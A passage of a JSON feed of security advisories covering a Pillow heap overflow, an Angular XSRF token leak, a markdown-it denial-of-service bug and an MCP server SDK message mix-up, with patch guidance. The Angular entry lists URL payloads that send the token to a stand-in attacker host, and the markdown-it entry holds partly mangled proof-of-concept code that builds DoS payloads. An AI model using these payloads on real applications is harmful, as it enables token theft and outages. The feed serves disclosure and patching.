min((INT32)tile_width, state->xsize - x);\n current_tile_length = min((INT32)tile_length, state->ysize - y);\n for (tile_y = 0; tile_y image[tile_y + y] + x * im->pixelsize,\n state->buffer + tile_y * row_byte_size, // buffer + tile_y * 1024` already lies at or past offset 196608 — the very last row's `memcpy(in=buffer+255·1024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at … 0 bytes after 196608-byte region`).\n\nThe mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout — it can legitimately be smaller than `row_byte_size × tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size × tile_length`.\n\n## Attribution\n\nThis issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.\n\nAffected package ranges reported by GitHub:\npillow: >= 8.2.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:49:26.000Z","updatedAt":"2026-10-20T20:49:27.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-462x-pgg6-55fp","asOf":"2026-10-20T20:49:27.000Z"},"epss":{"probability":0.00367,"percentile":0.30232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112395&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-462x-pgg6-55fp","url":"https://github.com/advisories/GHSA-462x-pgg6-55fp","type":"primary","publishedAt":"2026-10-20T20:49:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-462x-pgg6-55fp, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112395&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112395, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111753","cveId":"CVE-2026-111753","aliases":["GHSA-jfgx-762w-99vr"],"kind":"vulnerability","title":"@angular/common: XSRF Token Leakage via URL Parsing Discrepancy in Angular HTTP Client (Incomplete fix for CVE-2025-66035)","summary":"An incomplete fix for [GHSA-58c5-g7wp-6w37](https://github.com/angular/angular/security/advisories/GHSA-58c5-g7wp-6w37) (`CVE-2025-66035`) in `@angular/common`'s HTTP Client (`HttpClient`) allows Cross-Site Request Forgery (XSRF) tokens to be leaked to attacker-controlled cross-origin domains when requests use URLs that exploit parsing discrepancies between regular expressions and the browser's WHATWG URL parser.\n\nTo address `CVE-2025-66035`, `xsrfInterceptorFn` introduced a regular expression (`const ABSOLUTE_URL_REGEX = /^(?:https?:)?\\/\\//i`) to detect and skip absolute and protocol-relative URLs before attaching the `X-XSRF-TOKEN` header.","detail":"An incomplete fix for [GHSA-58c5-g7wp-6w37](https://github.com/angular/angular/security/advisories/GHSA-58c5-g7wp-6w37) (`CVE-2025-66035`) in `@angular/common`'s HTTP Client (`HttpClient`) allows Cross-Site Request Forgery (XSRF) tokens to be leaked to attacker-controlled cross-origin domains when requests use URLs that exploit parsing discrepancies between regular expressions and the browser's WHATWG URL parser.\n\n### Technical Description\n\nTo address `CVE-2025-66035`, `xsrfInterceptorFn` introduced a regular expression (`const ABSOLUTE_URL_REGEX = /^(?:https?:)?\\/\\//i`) to detect and skip absolute and protocol-relative URLs before attaching the `X-XSRF-TOKEN` header.\n\nHowever, browsers resolve request URLs passed to `fetch()` and `XMLHttpRequest.open()` using the **WHATWG URL parser**. For `http:` and `https:` schemes, the WHATWG URL standard performs several normalizations prior to resolving the authority/origin:\n* Backslashes (`\\`) are treated as forward slashes (`/`) — e.g., `/\\evil.example/x`, `\\\\evil.example/x`, `\\/evil.example/x`, `https:\\\\evil.example/x`, `https:/\\evil.example/x`.\n* Leading and trailing C0 control characters and spaces (`<= 0x20`) are stripped — e.g., `' //evil.example/x'`, `'\\0//evil.example/x'`, `'\\x1f//evil.example/x'`.\n* ASCII tab (`\\t`), newline (`\\n`), and carriage return (`\\r`) characters are removed anywhere in the input — e.g., `'/\\t/evil.example/x'`, `'/\\n/evil.example/x'`, `'htt\\tps://evil.example/x'`.\n\nBecause these URLs do not match `/^(?:https?:)?\\/\\//i`, `xsrfInterceptorFn` treats them as relative same-origin URLs and attaches the `X-XSRF-TOKEN` header, while the browser resolves and dispatches the request to the cross-origin host (`evil.example`).\n\nNote: Angular `21.0.3+` and `22.x` replaced the regular expression with a WHATWG `new URL(req.url, locationOrigin)` origin comparison in [#65683](https://github.com/angular/angular/pull/65683) and were already unaffected. However, the `20.3.x` LTS branch retained the regular expression until `20.3.34`.\n\n### Impact\n\nThe token leakage bypasses Angular's built-in XSRF protection on affected versions, allowing an attacker to capture the user's valid `X-XSRF-TOKEN` header if their server permits the request and custom header via CORS. Once obtained, the attacker can perform Cross-Site Request Forgery (CSRF) attacks against the victim user's session.\n\n### Attack Preconditions\n\n1. The victim's Angular application must have **XSRF protection enabled** (enabled by default in `HttpClient`).\n2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`, `PUT`, `DELETE`, `PATCH`) to a URL they control (such as `/\\attacker.example/api` or ` //attacker.example/api`).\n\n### Patches\n\nThe issue is resolved by parsing and comparing the request URL's origin against the application's current origin using the standard `URL` constructor (`new URL(req.url, locationOrigin)`).\n\n* `21.0.3` (and all `22.x` releases)\n* `20.3.34`\n\n### Workarounds\n\nIf you cannot immediately upgrade to a patched version:\n* Validate and normalize outgoing request URLs using `new URL(url, window.location.origin)` and verify that `parsedUrl.origin === window.location.origin` before passing dynamic URLs to mutating `HttpClient` requests.\n* Avoid passing untrusted or user-controlled URLs to `HttpClient` mutating methods.\n\nAffected package ranges reported by GitHub:\n@angular/common: >= 21.0.0, < 21.0.3\n@angular/common: >= 20.0.0, < 20.3.34\n@angular/common: <= 19.2.25","action":"GitHub lists first patched versions: @angular/common: 21.0.3; @angular/common: 20.3.34. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:37:57.000Z","updatedAt":"2026-10-20T20:37:58.000Z","regions":["Global"],"vendor":null,"product":"@angular/common, @angular/common, @angular/common","stacks":["JavaScript packages (npm)","@angular/common","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-jfgx-762w-99vr","asOf":"2026-10-20T20:37:58.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jfgx-762w-99vr","url":"https://github.com/advisories/GHSA-jfgx-762w-99vr","type":"primary","publishedAt":"2026-10-20T20:37:57.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-jfgx-762w-99vr, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111766","cveId":"CVE-2026-111766","aliases":["GHSA-vfgh-jcmw-g37q"],"kind":"vulnerability","title":"markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled","summary":"With `html: true`, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (` `, `?>`, `>`, and `]]>`.\n\nWhen the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.","detail":"### Summary\n\nWith `html: true`, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (` `, `?>`, `>`, and `]]>`.\n\nWhen the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.\n\nThe payload must reach inline parsing. Prefixing it with `x ` keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.\n\nThe existing `unclosed '.repeat(n)],\n 'HTML block': [mdHtml, '<!--'.repeat(n)],\n 'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]\n}\n\nfor (const [name, [md, src]] of Object.entries(controls)) {\n console.log({ control: name, ms: measure(md, src) })\n}\n\nconst repoPayload = '</' + '<!--'.repeat(100000)\nconsole.log({\n payload: 'Existing pathological test',\n htmlFalseMs: measure(mdDefault, repoPayload),\n htmlTrueMs: measure(mdHtml, repoPayload)\n})\n```\n\nMeasurements from the original report on `markdown-it@15.0.2`, Node.js 20:\n\n| Construct | 8,000 repetitions | 64,000 repetitions |\n| --- | ---: | ---: |\n| Comment | 170 ms | 8,799 ms |\n| Processing instruction | 26 ms | 1,566 ms |\n| Declaration | 93 ms | 5,628 ms |\n| CDATA | 119 ms | 4,179 ms |\n\nAn eightfold increase in repetitions produces approximately 35–60 times the execution time, consistent with quadratic growth becoming dominant.\n\nFor the comment payload at 64,000 repetitions:\n\n- HTML disabled: 25 ms.\n- Closed comments: 29 ms.\n- Payload at the start of an HTML block: 1 ms.\n- Plain text: 1 ms.\n\nThe existing pathological-test payload with 100,000 comment openers took 33 ms with HTML disabled and 21,030 ms with HTML enabled. A separate comment payload with 128,000 repetitions, approximately 500 KiB, took 32,847 ms.\n\nExact timings depend on the runtime and hardware.\n\n### Impact\n\nThis is an availability issue affecting applications that render attacker-controlled Markdown with `html: true`, including applications using the `commonmark` preset.\n\nOn Node.js, a synchronous `render()` call can occupy a CPU core and block the event loop for seconds or tens of seconds, delaying other requests handled by the same process. Repeated submissions can cause denial of service. Browser applications can similarly become unresponsive when rendering on the main thread.\n\nSanitizing the generated HTML afterwards does not prevent the issue because the expensive processing occurs during Markdown rendering.\n\nThe default configuration, with HTML disabled, is unaffected by these payloads. Disabling HTML or limiting input size can reduce exposure while a fix is prepared.\n\nThe reported affected release is `15.0.2`; the full affected version range has not been established.\n\nAffected package ranges reported by GitHub:\nmarkdown-it: < 14.3.3\nmarkdown-it: >= 15.0.0, < 15.0.3","action":"GitHub lists first patched versions: markdown-it: 14.3.3; markdown-it: 15.0.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:08:19.000Z","updatedAt":"2026-10-20T20:08:20.000Z","regions":["Global"],"vendor":null,"product":"markdown-it, markdown-it","stacks":["JavaScript packages (npm)","markdown-it","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-vfgh-jcmw-g37q","asOf":"2026-10-20T20:08:20.000Z"},"epss":{"probability":0.00428,"percentile":0.3675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111766&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vfgh-jcmw-g37q","url":"https://github.com/advisories/GHSA-vfgh-jcmw-g37q","type":"primary","publishedAt":"2026-10-20T20:08:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vfgh-jcmw-g37q, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111766&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111766, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111770","cveId":"CVE-2026-111770","aliases":["GHSA-jm63-cq47-j5jp"],"kind":"vulnerability","title":"MCP  TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another","summary":"Messages were matched to a connection by JSON-RPC `id` alone. SDK clients number requests from 0, so ids collide in normal use.\n\nAffected versions: `@modelcontextprotocol/server` 2.0.0 through 2.2.0.","detail":"### Summary\nIn affected versions, an MCP server reached over HTTP could deliver one client's responses and notifications to another client. This happened when clients shared one stateless transport, or one `McpServer` or `Server` instance.\n\nMessages were matched to a connection by JSON-RPC `id` alone. SDK clients number requests from 0, so ids collide in normal use.\n\n### Am I affected?\nYes, if more than one client can reach your HTTP endpoint and your code creates the transport or the server once at startup, instead of once per request or per session. Until this release, the README examples of `@modelcontextprotocol/hono`, `express`, `fastify` and `node` showed that pattern.\n\nAffected versions: `@modelcontextprotocol/server` 2.0.0 through 2.2.0.\n\nNot affected:\n\n- `createMcpHandler()` with a factory that builds a new server on every call\n- stdio servers\n- `@modelcontextprotocol/sdk` 1.26.0 and later\n\n### Fix\nUpgrade to `@modelcontextprotocol/server` 2.3.0 or later.\n\n**You also need to change your code.** The SDK now refuses to be shared, so an affected app fails requests after upgrading: a second `connect()` rejects with `ALREADY_CONNECTED`, and a stateless transport rejects its second request.\n\nChange to one of these:\n\n- **`createMcpHandler()`:** pass a factory that builds a new `McpServer` on every call.\n- **Per request:** build a new `McpServer` and a new transport inside the request handler.\n- **Per session:** set `sessionIdGenerator` and keep one `McpServer` and one transport per session.\n\nIf you cannot upgrade yet, the same change fixes affected versions.\n\nAffected package ranges reported by GitHub:\n@modelcontextprotocol/server: >= 2.0.0, < 2.3.0","action":"GitHub lists first patched versions: @modelcontextprotocol/server: 2.3.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:07:29.000Z","updatedAt":"2026-10-20T20:08:02.000Z","regions":["Global"],"vendor":null,"product":"@modelcontextprotocol/server","stacks":["MCP servers and SDKs","JavaScript packages (npm)","@modelcontextprotocol/server","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H","sourceUrl":"https://github.com/advisories/GHSA-jm63-cq47-j5jp","asOf":"2026-10-20T20:08:02.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jm63-cq47-j5jp","url":"https://github.com/advisories/GHSA-jm63-cq47-j5jp","type":"primary","publishedAt":"2026-10-20T20:07:29.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-jm63-cq47-j5jp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied 